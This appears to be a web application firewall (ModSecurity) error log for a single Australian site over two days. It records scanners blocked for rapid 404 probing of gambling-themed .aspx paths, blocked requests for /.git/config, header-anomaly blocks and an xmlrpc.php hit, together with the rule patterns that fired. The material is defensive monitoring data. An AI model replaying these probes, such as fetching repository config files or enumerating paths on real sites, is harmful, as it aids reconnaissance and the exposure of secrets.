[Sun Feb 15 20:14:54.816010 2026] [:error] [pid 42753:tid 42810] [client 147.135.214.103:44314] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aZG4vghQMLzszrBLG6cDNgAAA5c"]
[Sun Feb 15 20:14:57.272730 2026] [:error] [pid 19652:tid 19654] [client 147.135.214.103:36248] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aZG4wTHg2T9K5fiyOL8Z5wAAAAA"]
[Sun Feb 15 20:14:59.663710 2026] [:error] [pid 42753:tid 42790] [client 147.135.214.103:36252] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "aZG4wwhQMLzszrBLG6cDOQAAA4M"]
[Sun Feb 15 20:15:02.162922 2026] [:error] [pid 19652:tid 19656] [client 147.135.214.103:36254] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "aZG4xjHg2T9K5fiyOL8Z6wAAAAI"]
[Sun Feb 15 20:15:04.682009 2026] [:error] [pid 35560:tid 35628] [client 147.135.214.103:54266] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "aZG4yAZSChHPc3occZ5OiAAAAws"]
[Sun Feb 15 20:15:07.190652 2026] [:error] [pid 42753:tid 42794] [client 147.135.214.103:54278] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aZG4ywhQMLzszrBLG6cDPAAAA4c"]
[Sun Feb 15 20:15:09.571494 2026] [:error] [pid 35557:tid 35570] [client 147.135.214.103:54294] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aZG4zcI4REuGME4xEbNQdQAAAkc"]
[Sun Feb 15 20:15:12.060636 2026] [:error] [pid 42754:tid 42833] [client 147.135.214.103:54306] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "aZG40OiCZrZWT4BVy13kQAAAA9M"]
[Sun Feb 15 20:15:14.589702 2026] [:error] [pid 42659:tid 42681] [client 147.135.214.103:44178] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aZG40uy3JGHOB-Rj_FaQqgAAAFQ"]
[Sun Feb 15 20:15:17.084964 2026] [:error] [pid 31679:tid 31722] [client 147.135.214.103:44188] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aZG41Rz9Q_0Eh7M-Xr3JkwAAAg0"]
[Sun Feb 15 20:15:19.584897 2026] [:error] [pid 35497:tid 35533] [client 147.135.214.103:44194] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "aZG418yqpfYzoxiskhuSUQAAAMY"]
[Sun Feb 15 20:15:22.072381 2026] [:error] [pid 19652:tid 19671] [client 147.135.214.103:44208] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aZG42jHg2T9K5fiyOL8aCQAAABE"]
[Sun Feb 15 20:15:24.406422 2026] [:error] [pid 35560:tid 35620] [client 147.135.214.103:57956] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aZG43AZSChHPc3occZ5OowAAAwM"]
[Sun Feb 15 20:15:26.904296 2026] [:error] [pid 42754:tid 42830] [client 147.135.214.103:57964] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aZG43uiCZrZWT4BVy13kRwAAA9A"]
[Sun Feb 15 20:15:29.383754 2026] [:error] [pid 14577:tid 14591] [client 147.135.214.103:57970] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aZG44XTqrkuce6u39HtItwAAAQs"]
[Sun Feb 15 20:15:31.725749 2026] [:error] [pid 42753:tid 42795] [client 147.135.214.103:57974] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aZG44whQMLzszrBLG6cDTwAAA4g"]
[Sun Feb 15 20:15:34.225247 2026] [:error] [pid 42659:tid 42681] [client 147.135.214.103:36696] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aZG45uy3JGHOB-Rj_FaQtQAAAFQ"]
[Sun Feb 15 20:15:36.735667 2026] [:error] [pid 31679:tid 31717] [client 147.135.214.103:36698] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aZG46Bz9Q_0Eh7M-Xr3JpwAAAgg"]
[Sun Feb 15 20:15:39.236683 2026] [:error] [pid 31679:tid 31729] [client 147.135.214.103:36712] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aZG46xz9Q_0Eh7M-Xr3JqQAAAhQ"]
[Sun Feb 15 20:15:41.728173 2026] [:error] [pid 31679:tid 31726] [client 147.135.214.103:36716] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aZG47Rz9Q_0Eh7M-Xr3JqwAAAhE"]
[Sun Feb 15 20:15:44.212078 2026] [:error] [pid 14577:tid 14584] [client 147.135.214.103:38336] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aZG48HTqrkuce6u39HtIxgAAAQQ"]
[Sun Feb 15 20:15:46.537232 2026] [:error] [pid 42752:tid 42779] [client 147.135.214.103:38344] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aZG48sClY05C-Gq9l0hqBQAAAtQ"]
[Sun Feb 15 20:15:49.022353 2026] [:error] [pid 42752:tid 42759] [client 147.135.214.103:38352] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aZG49cClY05C-Gq9l0hqCAAAAsA"]
[Sun Feb 15 20:15:51.507392 2026] [:error] [pid 31679:tid 31714] [client 147.135.214.103:38360] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "aZG49xz9Q_0Eh7M-Xr3JsgAAAgU"]
[Sun Feb 15 20:16:12.604087 2026] [:error] [pid 14577:tid 14592] [client 147.135.214.103:32990] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aZG5DHTqrkuce6u39HtI6AAAAQw"]
[Sun Feb 15 20:16:15.041706 2026] [:error] [pid 19652:tid 19656] [client 147.135.214.103:33460] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aZG5DzHg2T9K5fiyOL8aPgAAAAI"]
[Sun Feb 15 20:16:17.524358 2026] [:error] [pid 42752:tid 42775] [client 147.135.214.103:33474] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aZG5EcClY05C-Gq9l0hqFAAAAtA"]
[Sun Feb 15 20:16:19.840782 2026] [:error] [pid 35497:tid 35545] [client 147.135.214.103:33486] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aZG5E8yqpfYzoxiskhuSbwAAANI"]
[Sun Feb 15 20:16:22.322635 2026] [:error] [pid 42753:tid 42810] [client 147.135.214.103:33496] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aZG5FghQMLzszrBLG6cDWgAAA5c"]
[Sun Feb 15 20:16:24.654836 2026] [:error] [pid 19652:tid 19669] [client 147.135.214.103:38636] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aZG5GDHg2T9K5fiyOL8aQgAAAA8"]
[Sun Feb 15 20:16:27.128685 2026] [:error] [pid 14577:tid 14590] [client 147.135.214.103:38638] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aZG5G3Tqrkuce6u39HtI8wAAAQo"]
[Sun Feb 15 20:16:29.448725 2026] [:error] [pid 35557:tid 35564] [client 147.135.214.103:38642] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aZG5HcI4REuGME4xEbNQmAAAAkE"]
[Sun Feb 15 20:16:31.919141 2026] [:error] [pid 31679:tid 31724] [client 147.135.214.103:38646] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aZG5Hxz9Q_0Eh7M-Xr3J0QAAAg8"]
[Sun Feb 15 20:16:34.258527 2026] [:error] [pid 14577:tid 14583] [client 147.135.214.103:33570] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aZG5InTqrkuce6u39HtI_AAAAQM"]
[Sun Feb 15 20:16:36.745056 2026] [:error] [pid 14577:tid 14586] [client 147.135.214.103:33580] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aZG5JHTqrkuce6u39HtJBAAAAQY"]
[Sun Feb 15 20:16:39.052271 2026] [:error] [pid 42752:tid 42771] [client 147.135.214.103:33588] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aZG5J8ClY05C-Gq9l0hqIQAAAsw"]
[Sun Feb 15 20:16:41.535009 2026] [:error] [pid 42752:tid 42782] [client 147.135.214.103:33590] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aZG5KcClY05C-Gq9l0hqJAAAAtc"]
[Sun Feb 15 20:16:44.017513 2026] [:error] [pid 42659:tid 42674] [client 147.135.214.103:52622] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aZG5LOy3JGHOB-Rj_FaQ2gAAAE0"]
[Sun Feb 15 20:16:46.349573 2026] [:error] [pid 35557:tid 35572] [client 147.135.214.103:52638] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aZG5LsI4REuGME4xEbNQnwAAAkk"]
[Sun Feb 15 20:16:48.653273 2026] [:error] [pid 42753:tid 42795] [client 147.135.214.103:52640] [client 147.135.214.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aZG5MAhQMLzszrBLG6cDbAAAA4g"]
[Sun Feb 15 21:37:27.422010 2026] [:error] [pid 42754:tid 42832] [client 170.64.150.166:41716] [client 170.64.150.166] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aZHMF-iCZrZWT4BVy13s8AAAA9I"]
[Sun Feb 15 21:37:28.305795 2026] [:error] [pid 42752:tid 42764] [client 170.64.150.166:42284] [client 170.64.150.166] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aZHMGMClY05C-Gq9l0hyUwAAAsU"]
[Mon Feb 16 01:51:22.648405 2026] [:error] [pid 42754:tid 42830] [client 125.75.66.97:37610] [client 125.75.66.97] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aZIHmuiCZrZWT4BVy10NFAAAA9A"]
[Mon Feb 16 04:53:28.466564 2026] [:error] [pid 4347:tid 4387] [client 51.83.5.74:53788] [client 51.83.5.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aZIySDFcjv6pEAnSEieG7wAAABM"]
[Mon Feb 16 04:53:31.271983 2026] [:error] [pid 37004:tid 37007] [client 51.83.5.74:58474] [client 51.83.5.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aZIyS1XWqA9gxE5oGmb2SgAAAQE"]
[Mon Feb 16 04:53:34.023807 2026] [:error] [pid 4347:tid 4370] [client 51.83.5.74:58482] [client 51.83.5.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aZIyTjFcjv6pEAnSEieG-wAAAAI"]
[Mon Feb 16 05:05:55.349321 2026] [:error] [pid 4455:tid 4479] [client 170.106.37.134:44156] [client 170.106.37.134] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aZI1MwNa-4dvQCL0rupfNwAAANY"]
[Mon Feb 16 06:21:41.983829 2026] [:error] [pid 37004:tid 37014] [client 43.133.69.37:34820] [client 43.133.69.37] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aZJG9VXWqA9gxE5oGmYiIQAAAQg"]
[Mon Feb 16 07:50:02.523493 2026] [:error] [pid 4347:tid 4384] [client 182.44.10.67:53365] [client 182.44.10.67] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aZJbqjFcjv6pEAnSEifAswAAABA"]
[Mon Feb 16 09:09:25.927211 2026] [:error] [pid 4348:tid 4402] [client 177.10.226.192:10520] [client 177.10.226.192] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.10.226.192, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aZJuRXxbK-cCGKg9ayvHGgAAAEc"]
[Mon Feb 16 11:22:10.931924 2026] [:error] [pid 4348:tid 4417] [client 94.154.239.69:58620] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aZKNYnxbK-cCGKg9ayv78AAAAFY"]
[Mon Feb 16 11:22:13.408902 2026] [:error] [pid 37004:tid 37008] [client 94.154.239.69:46078] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "aZKNZVXWqA9gxE5oGmadQAAAAQI"]
[Mon Feb 16 11:22:15.839071 2026] [:error] [pid 4349:tid 4427] [client 94.154.239.69:46094] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aZKNZ8rbZYafUL_3QfxpPgAAAIU"]
